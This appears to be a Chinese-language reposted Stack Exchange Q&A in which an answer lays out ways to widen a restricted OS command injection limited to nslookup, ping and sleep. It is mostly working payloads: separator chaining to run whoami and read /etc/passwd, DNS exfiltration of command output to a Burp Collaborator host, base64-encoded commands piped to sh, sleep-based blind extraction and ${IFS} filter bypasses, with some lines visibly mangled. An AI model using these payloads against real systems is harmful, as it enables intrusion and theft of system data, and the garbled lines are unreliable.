受限OS命令注入漏洞利用求助:仅支持nslookup/ping/sleep命令
针对受限OS命令注入的扩展利用方法
根据你描述的情况,目标站点存在高风险的OS命令注入,但仅允许nslookup、ping、sleep这类基础命令,且拦截了命令替换(如$(whoami)),可以尝试以下几种方法扩展命令执行范围:
1. 尝试命令分隔符串联执行
目标可能仅限制了命令前缀,未完全拦截命令分隔符,可尝试用不同分隔符串联允许的命令和待执行命令:
- 分号分隔:
nslookup xxx.burpcolaborator.com; whoami - 逻辑与分隔:
ping xxx.burpcolaborator.com && id - 管道符传递输出:
nslookup xxx.burpcolaborator.com | /bin/cat /etc/passwd - 逻辑或分隔:
sleep 0 || uname -a
2. 利用文件读写带出命令结果
如果命令替换被拦截,但允许文件操作,可先将命令结果写入临时文件,再通过nslookup/ping将内容作为域名后缀带出:
- 写入临时文件:
nslookup xxx.burpcolaborator.com; whoami > /tmp/result.txt - 读取文件内容并传递(若反引号未被完全拦截):
nslookupcat /tmp/result.txt.xxx.burpcolaborator.com - 用xargs替代命令替换:
cat /tmp/result.txt | xargs -I {} nslookup {}.xxx.burpcolaborator.com
3. Base64编码绕过过滤
若目标过滤了敏感命令名,可将待执行命令编码为Base64,再解码执行:
- 本地生成命令的Base64编码(例:
whoami的编码为d2hvYW1p) - 在注入点执行:
nslookup xxx.burpcolaborator.com; echo d2hvYW1p | base64 -d | sh
4. 时间盲注判断命令结果
如果无法直接带出输出,可利用sleep的时间差来盲注结果:
- 判断当前用户是否为root:
whoami | grep root && sleep 10 || sleep 2 - 逐字符猜解文件内容:
if [ $(cut -c1 /etc/passwd) = 'r' ]; then sleep 10; else sleep 2; fi(若$(...)被拦截,可改用case语句或grep匹配)
5. 空格与命令路径绕过
- 若目标过滤了空格,可用
${IFS}或$IFS替代:nslookup${IFS}xxx.burpcolaborator.com;${IFS}/bin/whoami - 使用命令的绝对路径执行,避免过滤拦截命令名:
/usr/bin/id、/bin/uname -a
内容的提问来源于stack exchange,提问作者Deviandorx
相关产品推荐
相关产品推荐

